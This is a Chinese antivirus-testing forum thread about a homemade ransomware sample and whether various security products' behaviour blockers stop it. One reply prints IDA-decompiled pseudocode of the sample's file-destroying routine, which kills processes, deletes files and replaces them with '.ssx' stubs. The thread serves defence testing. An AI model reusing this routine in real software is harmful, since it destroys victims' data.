自制勒索

761773275

KES锁库主防杀




护士拦截，但没回滚

huicuan

00006666 发表于 2021-6-5 23:19
多步主防:智量防护性能比微点好。

我个人认为还是瑞星能活下来

Inject-D

idgg007 发表于 2021-6-5 22:14
请问是否需要公布源码？

不用吧...
我用ida把加密函数看了个干净

1. void __cdecl Start(char *Buffer)                                                            
   
2. {                                                                                          
   
3.   DWORD v1; // eax                                                                          
   
4.   char v2[244]; // [esp+58h] [ebp-180h] BYREF                                               
   
5.   CHAR Str1[100]; // [esp+14Ch] [ebp-8Ch] BYREF                                             
   
6.   int v4; // [esp+1B0h] [ebp-28h]                                                           
   
7.   int v5; // [esp+1B4h] [ebp-24h]                                                           
   
8.   int i; // [esp+1B8h] [ebp-20h]                                                            
   
9.   int v7; // [esp+1BCh] [ebp-1Ch]                                                           
   
10.                                                                                             
    
11.   puts(Buffer);                                                                             
    
12.   v7 = 0;                                                                                   
    
13.   for ( i = 0; Buffer[i]; ++i )                                                            
    
14.   {                                                                                         
    
15.     if ( Buffer[i] == 92 )                                                                  
    
16.       v7 = i;                                                                              
    
17.   }                                                                                         
    
18.   v5 = v7 + 1;                                                                              
    
19.   v4 = 0;                                                                                   
    
20.   while ( Buffer[v5] )                                                                     
    
21.   {                                                                                         
    
22.     Str1[v4++] = Buffer[v5];                                                               
    
23.     Str1[v4] = 0;                                                                           
    
24.     ++v5;                                                                                   
    
25.   }                                                                                         
    
26.   if ( strcmp(Str1, "鍕掔储.exe") )                                                            
    
27.   {                                                                                         
    
28.     if ( GetProcessCount(Str1) )                                                            
    
29.     {                                                                                       
    
30.       v1 = GetProcessIdFromName(Str1);                                                      
    
31.       KillProcess(v1);                                                                     
    
32.     }                                                                                       
    
33.     remove(Buffer);                                                                        
    
34.     strcat(Buffer, ".ssx");                                                                 
    
35.     std::ofstream::basic_ofstream(Buffer, 16);                                             
    
36.     std::operator<<<std::char_traits<char>>((std::ostream::sentry *)v2, asc_4CD030);        
    
37.     std::ofstream::~ofstream(v2);                                                           
    
38.   }                                                                                         
    
39. }                                                  

复制代码

NT狼狼

猎豹安全浏览器

qwe12301

NT狼狼 发表于 2021-6-7 15:34
猎豹安全浏览器

测试个主防试试呢？本帖不是讨论能不能杀的问题，而是能不能拦住

a27573

idgg007 发表于 2021-6-5 22:14
请问是否需要公布源码？

gcc编译又没加壳，公不公布一个样

NT狼狼

qwe12301 发表于 2021-6-7 16:03
测试个主防试试呢？本帖不是讨论能不能杀的问题，而是能不能拦住

好，我试试

Clarkpyu

呜呜下不了

idgg007

Clarkpyu 发表于 2021-6-11 10:25
呜呜下不了

过一段时间就下得了了

a2120258

微点完全拦截